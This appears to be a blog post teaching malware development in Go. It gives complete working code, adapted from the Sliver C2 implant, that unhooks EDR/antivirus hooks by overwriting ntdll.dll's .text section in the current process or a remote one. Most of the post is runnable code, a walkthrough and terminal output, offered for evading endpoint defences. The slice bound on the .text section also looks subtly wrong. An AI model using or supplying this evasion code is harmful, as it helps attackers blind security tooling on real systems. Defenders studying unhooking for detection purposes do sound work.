This technique is probably the easiest way of getting rid of the hooks. It is not always effective since the EDR might perform integrity checks on the loaded dll and either reinstall the hooks or flag our activity as malicious.
Also the EDR might flag our process as malicious when we try load the dll from disk. The sample code below is used as part of (great resource when learning malware development in Golang). We will slightly modify the code to unhook dll in remote processes as well.
Let's break the code down
What we want to achieve is to read the contents of a dll from the disk and overwrite the dll with the hooked functions in memory of any process whether remote or current process.
This is done by reading the .text section of the dll having all the executable code and overwrite the code in memory. To identify the offset of the .text region from the base address and the size of the .text region the package was used.
line 1: Function declaration with arguments of the dll path and the process pid.
lines 3-6: Read contents of the dll file from disk to a byte slice 'df'
lines 7: Opens file and initiates the debugging session
line 12: Gets the details of the .text section
line 13: Create a new slice with the contents of the .text section only
line 14: calls the writeGoodBytes function
The following code overwrites the .text section of the loaded dll with the bytes in the slice from the previous function.
DLLs are loaded in the same virtual address across all processes. So identifying the dll base address in the current process essentially gives us the location of the dll in all processes.
Lines 3-7: Identify the base address of the dll. This could be replaced by walking the PEB method. This method will be explored in upcoming blog when we implement hell's gate in golang
Lines 8-11: Calculate the the memory address to write our fresh dll
Lines 13-20: Get a handle on the remote / current process
Lines 21-27: Write fresh bytes to the specified address
For this example we will load a fresh copy of the ntdll.dll of the remote process with pid 3396
Let's see how the function ntdll!NtAdjustPrivilegesToken looks before and after running the script
Terminal Output
PS C:\Users\TEST\Desktop\unhook> go run .
Reloading C:\Windows\System32\ntdll.dll...
Target Process: 3396
DLL Base Address 0x7ff9b0590000
DLL Text Region 0x7ff9b0591000
DLL overwritten
Bytes 12c000/12c000
PS C:\Users\TEST\Desktop\unhook>
Complete Code
/*
Slightly modified version of the code from sliver c2
It's possible to reload a fresh dll into a remote process
https://github.com/BishopFox/sliver/blob/master/implant/sliver/evasion/evasion_windows.go
*/
package main
import (
"debug/pe"
"fmt"
"os"
"golang.org/x/sys/windows"
)
func main() {
err := RefreshPE(`C:\Windows\System32\ntdll.dll`, 3396)
if err != nil {
fmt.Println(err)
}
}
// RefreshPE reloads a DLL from disk into any process
// in an attempt to erase AV or EDR hooks placed at runtime.
// use pid -1 for current process
func RefreshPE(name string, pid int) error {
fmt.Printf("Reloading %s...\n", name)
df, err := os.ReadFile(name)
if err != nil {
return err
}
f, err := pe.Open(name)
if err != nil {
return err
}
x := f.Section(".text")
ddf := df[x.Offset:x.Size]
return writeGoodBytes(ddf, name, pid, x.VirtualAddress, x.Name, x.VirtualSize)
}
func writeGoodBytes(b []byte, pn string, pid int, virtualoffset uint32, secname string, vsize uint32) (err error) {
var pHandle windows.Handle
t, err := windows.LoadDLL(pn)
if err != nil {
return err
}
h := t.Handle
dllBase := uintptr(h)
fmt.Printf("DLL Base Address 0x%x\n", dllBase)
dllOffset := uint(dllBase) + uint(virtualoffset)
fmt.Printf("DLL Text Region 0x%x\n", dllOffset)
if pid == -1 {
pHandle = windows.CurrentProcess()
} else {
pHandle, err = windows.OpenProcess(windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION, false, uint32(pid))
if err != nil {
return err
}
}
var numberOfBytesWritten uintptr
err = windows.WriteProcessMemory(pHandle, uintptr(dllOffset), &b[0], uintptr(len(b)), &numberOfBytesWritten)
if err != nil {
return err
}
fmt.Printf("DLL overwritten Bytes %x/%x", numberOfBytesWritten, len(b))
return nil
}